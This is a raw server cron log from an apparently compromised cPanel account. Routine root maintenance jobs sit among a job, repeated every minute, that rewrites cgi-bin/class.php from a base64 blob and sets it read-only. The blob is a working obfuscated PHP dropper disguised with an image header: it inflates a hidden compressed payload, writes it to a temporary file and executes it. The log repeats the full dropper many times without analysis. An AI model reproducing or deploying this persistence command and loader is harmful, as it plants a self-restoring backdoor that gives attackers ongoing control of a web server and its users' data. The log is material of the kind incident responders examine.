Nov 11 11:10:01 server CROND[16673]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:10:01 server CROND[16674]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 11:10:01 server CROND[16675]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 11:10:01 server CROND[16679]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 11:11:01 server CROND[17571]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:12:01 server CROND[18444]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 11:12:01 server CROND[18445]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:13:01 server CROND[18781]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:14:01 server CROND[19418]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:15:01 server CROND[20354]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 11:15:01 server CROND[20355]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 11:15:01 server CROND[20356]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:16:01 server CROND[21230]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:17:01 server CROND[22053]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:18:01 server CROND[22835]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:19:01 server CROND[23214]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:20:01 server CROND[24096]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 11:20:01 server CROND[24098]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:20:01 server CROND[24099]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 11:20:01 server CROND[24100]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 11:20:01 server CROND[24102]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 11:21:01 server CROND[25016]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:22:01 server CROND[25846]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
